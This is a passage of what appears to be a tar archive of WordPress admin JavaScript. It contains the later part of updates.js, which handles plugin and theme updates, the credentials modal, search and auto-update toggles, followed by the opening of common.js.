wp.updates.queue.length ) { return; } _.each( wp.updates.queue, function( job ) { $document.trigger( 'credential-modal-cancel', job ); } ); // Remove the lock, and clear the queue. wp.updates.ajaxLocked = false; wp.updates.queue = []; wp.updates.requestForCredentialsModalClose(); }; /** * Displays an error message in the request for credentials form. * * @since 4.2.0 * * @param {string} message Error message. */ wp.updates.showErrorInCredentialsForm = function( message ) { var $filesystemForm = $( '#request-filesystem-credentials-form' ); // Remove any existing error. $filesystemForm.find( '.notice' ).remove(); $filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error" role="alert"><p>' + message + '</p></div>' ); }; /** * Handles credential errors and runs events that need to happen in that case. * * @since 4.2.0 * * @param {Object} response Ajax response. * @param {string} action The type of request to perform. */ wp.updates.credentialError = function( response, action ) { // Restore callbacks. response = wp.updates._addCallbacks( response, action ); wp.updates.queue.unshift( { action: action, /* * Not cool that we're depending on response for this data. * This would feel more whole in a view all tied together. */ data: response } ); wp.updates.filesystemCredentials.available = false; wp.updates.showErrorInCredentialsForm( response.errorMessage ); wp.updates.requestFilesystemCredentials(); }; /** * Handles credentials errors if it could not connect to the filesystem. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. * @param {string} action The type of request to perform. * @return {boolean} Whether there is an error that needs to be handled or not. */ wp.updates.maybeHandleCredentialError = function( response, action ) { if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) { wp.updates.credentialError( response, action ); return true; } return false; }; /** * Validates an Ajax response to ensure it's a proper object. * * If the response deems to be invalid, an admin notice is being displayed. * * @param {(Object|string)} response Response from the server. * @param {function=} response.always Optional. Callback for when the Deferred is resolved or rejected. * @param {string=} response.statusText Optional. Status message corresponding to the status code. * @param {string=} response.responseText Optional. Request response as text. * @param {string} action Type of action the response is referring to. Can be 'delete', * 'update' or 'install'. */ wp.updates.isValidResponse = function( response, action ) { var error = __( 'An error occurred during the update process. Please try again.' ), errorMessage; // Make sure the response is a valid data object and not a Promise object. if ( _.isObject( response ) && ! _.isFunction( response.always ) ) { return true; } if ( _.isString( response ) && '-1' === response ) { error = __( 'An error has occurred. Please reload the page and try again.' ); } else if ( _.isString( response ) ) { error = response; } else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) { error = __( 'Connection lost or the server is busy. Please try again later.' ); } else if ( _.isString( response.responseText ) && '' !== response.responseText ) { error = response.responseText; } else if ( _.isString( response.statusText ) ) { error = response.statusText; } switch ( action ) { case 'update': /* translators: %s: Error string for a failed update. */ errorMessage = __( 'Update failed: %s' ); break; case 'install': /* translators: %s: Error string for a failed installation. */ errorMessage = __( 'Installation failed: %s' ); break; case 'check-dependencies': /* translators: %s: Error string for a failed dependencies check. */ errorMessage = __( 'Dependencies check failed: %s' ); break; case 'activate': /* translators: %s: Error string for a failed activation. */ errorMessage = __( 'Activation failed: %s' ); break; case 'delete': /* translators: %s: Error string for a failed deletion. */ errorMessage = __( 'Deletion failed: %s' ); break; } // Messages are escaped, remove HTML tags to make them more readable. error = error.replace( /<[\/a-z][^<>]*>/gi, '' ); errorMessage = errorMessage.replace( '%s', error ); // Add admin notice. wp.updates.addAdminNotice( { id: 'unknown_error', className: 'notice-error is-dismissible', message: _.escape( errorMessage ) } ); // Remove the lock, and clear the queue. wp.updates.ajaxLocked = false; wp.updates.queue = []; // Change buttons of all running updates. $( '.button.updating-message' ) .removeClass( 'updating-message' ) .removeAttr( 'aria-label' ) .prop( 'disabled', true ) .text( __( 'Update failed.' ) ); $( '.updating-message:not(.button):not(.thickbox)' ) .removeClass( 'updating-message notice-warning' ) .addClass( 'notice-error' ) .find( 'p' ) .removeAttr( 'aria-label' ) .text( errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); return false; }; /** * Potentially adds an AYS to a user attempting to leave the page. * * If an update is on-going and a user attempts to leave the page, * opens an "Are you sure?" alert. * * @since 4.2.0 */ wp.updates.beforeunload = function() { if ( wp.updates.ajaxLocked ) { return __( 'Updates may not complete if you navigate away from this page.' ); } }; $( function() { var $pluginFilter = $( '#plugin-filter, #plugin-information-footer' ), $bulkActionForm = $( '#bulk-action-form' ), $filesystemForm = $( '#request-filesystem-credentials-form' ), $filesystemModal = $( '#request-filesystem-credentials-dialog' ), $pluginSearch = $( '.plugins-php .wp-filter-search' ), $pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' ); settings = _.extend( settings, window._wpUpdatesItemCounts || {} ); if ( settings.totals ) { wp.updates.refreshCount(); } /* * Whether a user needs to submit filesystem credentials. * * This is based on whether the form was output on the page server-side. * * @see {wp_print_request_filesystem_credentials_modal() in PHP} */ wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0; /** * File system credentials form submit noop-er / handler. * * @since 4.2.0 */ $filesystemModal.on( 'submit', 'form', function( event ) { event.preventDefault(); // Persist the credentials input by the user for the duration of the page load. wp.updates.filesystemCredentials.ftp.hostname = $( '#hostname' ).val(); wp.updates.filesystemCredentials.ftp.username = $( '#username' ).val(); wp.updates.filesystemCredentials.ftp.password = $( '#password' ).val(); wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val(); wp.updates.filesystemCredentials.ssh.publicKey = $( '#public_key' ).val(); wp.updates.filesystemCredentials.ssh.privateKey = $( '#private_key' ).val(); wp.updates.filesystemCredentials.fsNonce = $( '#_fs_nonce' ).val(); wp.updates.filesystemCredentials.available = true; // Unlock and invoke the queue. wp.updates.ajaxLocked = false; wp.updates.queueChecker(); wp.updates.requestForCredentialsModalClose(); } ); /** * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal. * * @since 4.2.0 */ $filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel ); /** * Hide SSH fields when not selected. * * @since 4.2.0 */ $filesystemForm.on( 'change', 'input[name="connection_type"]', function() { $( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) ); } ).trigger( 'change' ); /** * Handles events after the credential modal was closed. * * @since 4.6.0 * * @param {Event} event Event interface. * @param {string} job The install/update.delete request. */ $document.on( 'credential-modal-cancel', function( event, job ) { var $updatingMessage = $( '.updating-message' ), $message, originalText; if ( 'import' === pagenow ) { $updatingMessage.removeClass( 'updating-message' ); } else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { if ( 'update-plugin' === job.action ) { $message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' ); } else if ( 'delete-plugin' === job.action ) { $message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' ); } } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) { if ( 'update-theme' === job.action ) { $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' ); } else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) { $message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' ); } else if ( 'delete-theme' === job.action && 'themes' === pagenow ) { $message = $( '.theme-actions .delete-theme' ); } } else { $message = $updatingMessage; } if ( $message && $message.hasClass( 'updating-message' ) ) { originalText = $message.data( 'originaltext' ); if ( 'undefined' === typeof originalText ) { originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) ); } $message .removeClass( 'updating-message' ) .html( originalText ); if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { if ( 'update-plugin' === job.action ) { $message.attr( 'aria-label', sprintf( /* translators: %s: Plugin name and version. */ _x( 'Update %s now', 'plugin' ), $message.data( 'name' ) ) ); } else if ( 'install-plugin' === job.action ) { $message.attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), $message.data( 'name' ) ) ); } } } wp.a11y.speak( __( 'Update canceled.' ) ); } ); /** * Click handler for plugin updates in List Table view. * * @since 4.2.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) { var $message = $( event.target ), $pluginRow = $message.parents( 'tr' ); event.preventDefault(); if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); // Return the user to the input box of the plugin's table row after closing the modal. wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' ); wp.updates.updatePlugin( { plugin: $pluginRow.data( 'plugin' ), slug: $pluginRow.data( 'slug' ) } ); } ); /** * Click handler for plugin updates in plugin install view. * * @since 4.2.0 * * @param {Event} event Event interface. */ $pluginFilter.on( 'click', '.update-now', function( event ) { var $button = $( event.target ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.updatePlugin( { plugin: $button.data( 'plugin' ), slug: $button.data( 'slug' ) } ); } ); /** * Click handler for plugin installs in plugin install view. * * @since 4.6.0 * * @param {Event} event Event interface. */ $pluginFilter.on( 'click', '.install-now', function( event ) { var $button = $( event.target ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) { return; } if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); $document.on( 'credential-modal-cancel', function() { var $message = $( '.install-now.updating-message' ); $message .removeClass( 'updating-message' ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( __( 'Update canceled.' ) ); } ); } wp.updates.installPlugin( { slug: $button.data( 'slug' ) } ); } ); /** * Click handler for plugin activations in plugin activation modal view. * * @since 6.5.0 * @since 6.5.4 Redirect the parent window to the activation URL. * * @param {Event} event Event interface. */ $document.on( 'click', '#plugin-information-footer .activate-now', function( event ) { event.preventDefault(); window.parent.location.href = $( event.target ).attr( 'href' ); }); /** * Click handler for importer plugins installs in the Import screen. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.importer-item .install-now', function( event ) { var $button = $( event.target ), pluginName = $( this ).data( 'name' ); event.preventDefault(); if ( $button.hasClass( 'updating-message' ) ) { return; } if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); $document.on( 'credential-modal-cancel', function() { $button .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), pluginName ) ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( __( 'Update canceled.' ) ); } ); } wp.updates.installPlugin( { slug: $button.data( 'slug' ), pagenow: pagenow, success: wp.updates.installImporterSuccess, error: wp.updates.installImporterError } ); } ); /** * Click handler for plugin deletions. * * @since 4.6.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) { var $pluginRow = $( event.target ).parents( 'tr' ), confirmMessage; if ( $pluginRow.hasClass( 'is-uninstallable' ) ) { confirmMessage = sprintf( /* translators: %s: Plugin name. */ __( 'Are you sure you want to delete %s and its data?' ), $pluginRow.find( '.plugin-title strong' ).text() ); } else { confirmMessage = sprintf( /* translators: %s: Plugin name. */ __( 'Are you sure you want to delete %s?' ), $pluginRow.find( '.plugin-title strong' ).text() ); } event.preventDefault(); if ( ! window.confirm( confirmMessage ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.deletePlugin( { plugin: $pluginRow.data( 'plugin' ), slug: $pluginRow.data( 'slug' ) } ); } ); /** * Click handler for theme updates. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.themes-php.network-admin .update-link', function( event ) { var $message = $( event.target ), $themeRow = $message.parents( 'tr' ); event.preventDefault(); if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); // Return the user to the input box of the theme's table row after closing the modal. wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' ); wp.updates.updateTheme( { slug: $themeRow.data( 'slug' ) } ); } ); /** * Click handler for theme deletions. * * @since 4.6.0 * * @param {Event} event Event interface. */ $document.on( 'click', '.themes-php.network-admin a.delete', function( event ) { var $themeRow = $( event.target ).parents( 'tr' ), confirmMessage = sprintf( /* translators: %s: Theme name. */ __( 'Are you sure you want to delete %s?' ), $themeRow.find( '.theme-title strong' ).text() ); event.preventDefault(); if ( ! window.confirm( confirmMessage ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); wp.updates.deleteTheme( { slug: $themeRow.data( 'slug' ) } ); } ); /** * Bulk action handler for plugins and themes. * * Handles both deletions and updates. * * @since 4.6.0 * * @param {Event} event Event interface. */ $bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) { var bulkAction = $( event.target ).siblings( 'select' ).val(), itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ), success = 0, error = 0, errorMessages = [], type, action; // Determine which type of item we're dealing with. switch ( pagenow ) { case 'plugins': case 'plugins-network': type = 'plugin'; break; case 'themes-network': type = 'theme'; break; default: return; } // Bail if there were no items selected. if ( ! itemsSelected.length ) { bulkAction = false; } // Determine the type of request we're dealing with. switch ( bulkAction ) { case 'update-selected': action = bulkAction.replace( 'selected', type ); break; case 'delete-selected': var confirmMessage = 'plugin' === type ? __( 'Are you sure you want to delete the selected plugins and their data?' ) : __( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' ); if ( ! window.confirm( confirmMessage ) ) { event.preventDefault(); return; } action = bulkAction.replace( 'selected', type ); break; default: return; } wp.updates.maybeRequestFilesystemCredentials( event ); event.preventDefault(); // Un-check the bulk checkboxes. $bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false ); $document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected ); // Find all the checkboxes which have been checked. itemsSelected.each( function( index, element ) { var $checkbox = $( element ), $itemRow = $checkbox.parents( 'tr' ); // Only add update-able items to the update queue. if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) { // Un-check the box. $checkbox.prop( 'checked', false ); return; } // Don't add items to the update queue again, even if the user clicks the update button several times. if ( 'update-selected' === bulkAction && $itemRow.hasClass( 'is-enqueued' ) ) { return; } $itemRow.addClass( 'is-enqueued' ); // Add it to the queue. wp.updates.queue.push( { action: action, data: { plugin: $itemRow.data( 'plugin' ), slug: $itemRow.data( 'slug' ) } } ); } ); // Display bulk notification for updates of any kind. $document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) { var $itemRow = $( '[data-slug="' + response.slug + '"]' ), $bulkActionNotice, itemName; if ( 'wp-' + response.update + '-update-success' === event.type ) { success++; } else { itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text(); error++; errorMessages.push( itemName + ': ' + response.errorMessage ); } $itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false ); wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' ); var successMessage = null; if ( success ) { if ( 'plugin' === response.update ) { successMessage = sprintf( /* translators: %s: Number of plugins. */ _n( '%s plugin successfully updated.', '%s plugins successfully updated.', success ), success ); } else { successMessage = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme successfully updated.', '%s themes successfully updated.', success ), success ); } } var errorMessage = null; if ( error ) { errorMessage = sprintf( /* translators: %s: Number of failed updates. */ _n( '%s update failed.', '%s updates failed.', error ), error ); } wp.updates.addAdminNotice( { id: 'bulk-action-notice', className: 'bulk-action-notice', successMessage: successMessage, errorMessage: errorMessage, errorMessages: errorMessages, type: response.update } ); $bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() { // $( this ) is the clicked button, no need to get it again. $( this ) .toggleClass( 'bulk-action-errors-collapsed' ) .attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) ); // Show the errors list. $bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' ); } ); if ( error > 0 && ! wp.updates.queue.length ) { $( 'html, body' ).animate( { scrollTop: 0 } ); } } ); // Reset admin notice template after #bulk-action-notice was added. $document.on( 'wp-updates-notice-added', function() { wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' ); } ); // Check the queue, now that the event handlers have been added. wp.updates.queueChecker(); } ); if ( $pluginInstallSearch.length ) { $pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' ); } // Track the previous search string length. var previousSearchStringLength = 0; wp.updates.shouldSearch = function( searchStringLength ) { var shouldSearch = searchStringLength >= wp.updates.searchMinCharacters || previousSearchStringLength > wp.updates.searchMinCharacters; previousSearchStringLength = searchStringLength; return shouldSearch; }; /** * Handles changes to the plugin search box on the new-plugin page, * searching the repository dynamically. * * @since 4.6.0 */ $pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) { var $searchTab = $( '.plugin-install-search' ), data, searchLocation, searchStringLength = $pluginInstallSearch.val().length; data = { _ajax_nonce: wp.updates.ajaxNonce, s: encodeURIComponent( event.target.value ), tab: 'search', type: $( '#typeselector' ).val(), pagenow: pagenow }; searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) ); // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in. if ( wp.updates.shouldSearch( searchStringLength ) ) { $pluginInstallSearch.attr( 'autocomplete', 'off' ); } else { $pluginInstallSearch.attr( 'autocomplete', 'on' ); return; } // Clear on escape. if ( 'keyup' === event.type && 27 === event.which ) { event.target.value = ''; } if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) { return; } else { $pluginFilter.empty(); wp.updates.searchTerm = data.s; } if ( window.history && window.history.replaceState ) { window.history.replaceState( null, '', searchLocation ); } if ( ! $searchTab.length ) { $searchTab = $( '<li class="plugin-install-search" />' ) .append( $( '<a />', { 'class': 'current', 'href': searchLocation, 'text': __( 'Search Results' ) } ) ); $( '.wp-filter .filter-links .current' ) .removeClass( 'current' ) .parents( '.filter-links' ) .prepend( $searchTab ); $pluginFilter.prev( 'p' ).remove(); $( '.plugins-popular-tags-wrapper' ).remove(); } if ( 'undefined' !== typeof wp.updates.searchRequest ) { wp.updates.searchRequest.abort(); } $( 'body' ).addClass( 'loading-content' ); wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) { $( 'body' ).removeClass( 'loading-content' ); $pluginFilter.append( response.items ); delete wp.updates.searchRequest; if ( 0 === response.count ) { wp.a11y.speak( __( 'You do not appear to have any plugins available at this time.' ) ); } else { wp.a11y.speak( sprintf( /* translators: %s: Number of plugins. */ __( 'Number of plugins found: %d' ), response.count ) ); } } ); }, 1000 ) ); if ( $pluginSearch.length ) { $pluginSearch.attr( 'aria-describedby', 'live-search-desc' ); } /** * Handles changes to the plugin search box on the Installed Plugins screen, * searching the plugin list dynamically. * * @since 4.6.0 */ $pluginSearch.on( 'keyup input', _.debounce( function( event ) { var data = { _ajax_nonce: wp.updates.ajaxNonce, s: encodeURIComponent( event.target.value ), pagenow: pagenow, plugin_status: 'all' }, queryArgs, searchStringLength = $pluginSearch.val().length; // Set the autocomplete attribute, turning off autocomplete 1 character before ajax search kicks in. if ( wp.updates.shouldSearch( searchStringLength ) ) { $pluginSearch.attr( 'autocomplete', 'off' ); } else { $pluginSearch.attr( 'autocomplete', 'on' ); return; } // Clear on escape. if ( 'keyup' === event.type && 27 === event.which ) { event.target.value = ''; } if ( wp.updates.searchTerm === data.s ) { return; } else { wp.updates.searchTerm = data.s; } queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) { if ( item ) return item.split( '=' ); } ) ) ); data.plugin_status = queryArgs.plugin_status || 'all'; if ( window.history && window.history.replaceState ) { window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status ); } if ( 'undefined' !== typeof wp.updates.searchRequest ) { wp.updates.searchRequest.abort(); } $bulkActionForm.empty(); $( 'body' ).addClass( 'loading-content' ); $( '.subsubsub .current' ).removeClass( 'current' ); wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) { // Can we just ditch this whole subtitle business? var $subTitle = $( '<span />' ).addClass( 'subtitle' ).html( sprintf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' + _.escape( decodeURIComponent( data.s ) ) + '</strong>' ) ), $oldSubTitle = $( '.wrap .subtitle' ); if ( ! data.s.length ) { $oldSubTitle.remove(); $( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' ); } else if ( $oldSubTitle.length ) { $oldSubTitle.replaceWith( $subTitle ); } else { $( '.wp-header-end' ).before( $subTitle ); } $( 'body' ).removeClass( 'loading-content' ); $bulkActionForm.append( response.items ); delete wp.updates.searchRequest; if ( 0 === response.count ) { wp.a11y.speak( __( 'No plugins found. Try a different search.' ) ); } else { wp.a11y.speak( sprintf( /* translators: %s: Number of plugins. */ __( 'Number of plugins found: %d' ), response.count ) ); } } ); }, 500 ) ); /** * Trigger a search event when the search form gets submitted. * * @since 4.6.0 */ $document.on( 'submit', '.search-plugins', function( event ) { event.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); /** * Trigger a search event when the "Try Again" button is clicked. * * @since 4.9.0 */ $document.on( 'click', '.try-again', function( event ) { event.preventDefault(); $pluginInstallSearch.trigger( 'input' ); } ); /** * Trigger a search event when the search type gets changed. * * @since 4.6.0 */ $( '#typeselector' ).on( 'change', function() { var $search = $( 'input[name="s"]' ); if ( $search.val().length ) { $search.trigger( 'input', 'typechange' ); } } ); /** * Click handler for updating a plugin from the details modal on `plugin-install.php`. * * @since 4.2.0 * * @param {Event} event Event interface. */ $( '#plugin_update_from_iframe' ).on( 'click', function( event ) { var target = window.parent === window ? null : window.parent, update; $.support.postMessage = !! window.postMessage; if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) { return; } event.preventDefault(); update = { action: 'update-plugin', data: { plugin: $( this ).data( 'plugin' ), slug: $( this ).data( 'slug' ) } }; target.postMessage( JSON.stringify( update ), window.location.origin ); } ); /** * Handles postMessage events. * * @since 4.2.0 * @since 4.6.0 Switched `update-plugin` action to use the queue. * * @param {Event} event Event interface. */ $( window ).on( 'message', function( event ) { var originalEvent = event.originalEvent, expectedOrigin = document.location.protocol + '//' + document.location.host, message; if ( originalEvent.origin !== expectedOrigin ) { return; } try { message = JSON.parse( originalEvent.data ); } catch ( e ) { return; } if ( ! message ) { return; } if ( 'undefined' !== typeof message.status && 'undefined' !== typeof message.slug && 'undefined' !== typeof message.text && 'undefined' !== typeof message.ariaLabel ) { var $card = $( '.plugin-card-' + message.slug ), $message = $card.find( '[data-slug="' + message.slug + '"]' ); if ( 'undefined' !== typeof message.removeClasses ) { $message.removeClass( message.removeClasses ); } if ( 'undefined' !== typeof message.addClasses ) { $message.addClass( message.addClasses ); } if ( '' === message.ariaLabel ) { $message.removeAttr( 'aria-label' ); } else { $message.attr( 'aria-label', message.ariaLabel ); } if ( 'dependencies-check-success' === message.status ) { $message .attr( 'data-name', message.pluginName ) .attr( 'data-slug', message.slug ) .attr( 'data-plugin', message.plugin ) .attr( 'href', message.href ); } $message.text( message.text ); } if ( 'undefined' === typeof message.action ) { return; } switch ( message.action ) { // Called from `wp-admin/includes/class-wp-upgrader-skins.php`. case 'decrementUpdateCount': /** @property {string} message.upgradeType */ wp.updates.decrementCount( message.upgradeType ); break; case 'install-plugin': case 'update-plugin': if ( 'undefined' === typeof message.data || 'undefined' === typeof message.data.slug ) { return; } message.data = wp.updates._addCallbacks( message.data, message.action ); wp.updates.queue.push( message ); wp.updates.queueChecker(); break; } } ); /** * Adds a callback to display a warning before leaving the page. * * @since 4.2.0 */ $( window ).on( 'beforeunload', wp.updates.beforeunload ); /** * Prevents the page form scrolling when activating auto-updates with the Spacebar key. * * @since 5.5.0 */ $document.on( 'keydown', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) { if ( 32 === event.which ) { event.preventDefault(); } } ); /** * Click and keyup handler for enabling and disabling plugin and theme auto-updates. * * These controls can be either links or buttons. When JavaScript is enabled, * we want them to behave like buttons. An ARIA role `button` is added via * the JavaScript that targets elements with the CSS class `aria-button-if-js`. * * @since 5.5.0 */ $document.on( 'click keyup', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) { var data, asset, type, $parent, $toggler = $( this ), action = $toggler.attr( 'data-wp-action' ), $label = $toggler.find( '.label' ); if ( 'keyup' === event.type && 32 !== event.which ) { return; } if ( 'themes' !== pagenow ) { $parent = $toggler.closest( '.column-auto-updates' ); } else { $parent = $toggler.closest( '.theme-autoupdate' ); } event.preventDefault(); // Prevent multiple simultaneous requests. if ( $toggler.attr( 'data-doing-ajax' ) === 'yes' ) { return; } $toggler.attr( 'data-doing-ajax', 'yes' ); switch ( pagenow ) { case 'plugins': case 'plugins-network': type = 'plugin'; asset = $toggler.closest( 'tr' ).attr( 'data-plugin' ); break; case 'themes-network': type = 'theme'; asset = $toggler.closest( 'tr' ).attr( 'data-slug' ); break; case 'themes': type = 'theme'; asset = $toggler.attr( 'data-slug' ); break; } // Clear any previous errors. $parent.find( '.notice.notice-error' ).addClass( 'hidden' ); // Show loading status. if ( 'enable' === action ) { $label.text( __( 'Enabling...' ) ); } else { $label.text( __( 'Disabling...' ) ); } $toggler.find( '.dashicons-update' ).removeClass( 'hidden' ); data = { action: 'toggle-auto-updates', _ajax_nonce: settings.ajax_nonce, state: action, type: type, asset: asset }; $.post( window.ajaxurl, data ) .done( function( response ) { var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage, href = $toggler.attr( 'href' ); if ( ! response.success ) { // if WP returns 0 for response (which can happen in a few cases), // output the general error message since we won't have response.data.error. if ( response.data && response.data.error ) { errorMessage = response.data.error; } else { errorMessage = __( 'The request could not be completed.' ); } $parent.find( '.notice.notice-error' ).removeClass( 'hidden' ).find( 'p' ).text( errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); return; } // Update the counts in the enabled/disabled views if on a screen // with a list table. if ( 'themes' !== pagenow ) { $enabled = $( '.auto-update-enabled span' ); $disabled = $( '.auto-update-disabled span' ); enabledNumber = parseInt( $enabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0; disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0; switch ( action ) { case 'enable': ++enabledNumber; --disabledNumber; break; case 'disable': --enabledNumber; ++disabledNumber; break; } enabledNumber = Math.max( 0, enabledNumber ); disabledNumber = Math.max( 0, disabledNumber ); $enabled.text( '(' + enabledNumber + ')' ); $disabled.text( '(' + disabledNumber + ')' ); } if ( 'enable' === action ) { // The toggler control can be either a link or a button. if ( $toggler[ 0 ].hasAttribute( 'href' ) ) { href = href.replace( 'action=enable-auto-update', 'action=disable-auto-update' ); $toggler.attr( 'href', href ); } $toggler.attr( 'data-wp-action', 'disable' ); $label.text( __( 'Disable auto-updates' ) ); $parent.find( '.auto-update-time' ).removeClass( 'hidden' ); wp.a11y.speak( __( 'Auto-updates enabled' ) ); } else { // The toggler control can be either a link or a button. if ( $toggler[ 0 ].hasAttribute( 'href' ) ) { href = href.replace( 'action=disable-auto-update', 'action=enable-auto-update' ); $toggler.attr( 'href', href ); } $toggler.attr( 'data-wp-action', 'enable' ); $label.text( __( 'Enable auto-updates' ) ); $parent.find( '.auto-update-time' ).addClass( 'hidden' ); wp.a11y.speak( __( 'Auto-updates disabled' ) ); } $document.trigger( 'wp-auto-update-setting-changed', { state: action, type: type, asset: asset } ); } ) .fail( function() { $parent.find( '.notice.notice-error' ) .removeClass( 'hidden' ) .find( 'p' ) .text( __( 'The request could not be completed.' ) ); wp.a11y.speak( __( 'The request could not be completed.' ), 'assertive' ); } ) .always( function() { $toggler.removeAttr( 'data-doing-ajax' ).find( '.dashicons-update' ).addClass( 'hidden' ); } ); } ); } ); })( jQuery, window.wp, window._wpUpdatesSettings ); js/common.js 0000644 00000172420 15233246127 0007021 0 ustar 00 /** * @output wp-admin/js/common.js */ /* global setUserSetting, ajaxurl, alert, confirm, pagenow */ /* global columns, screenMeta */ /** * Adds common WordPress functionality to the window. * * @param {jQuery} $ jQuery object. * @param {Object} window The window object. * @param {mixed} undefined Unused. */ ( function( $, window, undefined ) { var $document = $( document ), $window = $( window ), $body = $( document.body ), __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * Throws an error for a deprecated property. * * @since 5.5.1 * * @param {string} propName The property that was used. * @param {string} version The version of WordPress that deprecated the property. * @param {string} replacement The property that should have been used. */ function deprecatedProperty( propName, version, replacement ) { var message; if ( 'undefined' !== typeof replacement ) { message = sprintf( /* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), propName, version, replacement ); } else { message = sprintf( /* translators: 1: Deprecated property name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), propName, version ); } window.console.warn( message ); } /** * Deprecate all properties on an object. * * @since 5.5.1 * @since 5.6.0 Added the `version` parameter. * * @param {string} name The name of the object, i.e. commonL10n. * @param {object} l10nObject The object to deprecate the properties on. * @param {string} version The version of WordPress that deprecated the property. * * @return {object} The object with all its properties deprecated. */ function deprecateL10nObject( name, l10nObject, version ) { var deprecatedObject = {}; Object.keys( l10nObject ).forEach( function( key ) { var prop = l10nObject[ key ]; var propName = name + '.' + key; if ( 'object' === typeof prop ) { Object.defineProperty( deprecatedObject, key, { get: function() { 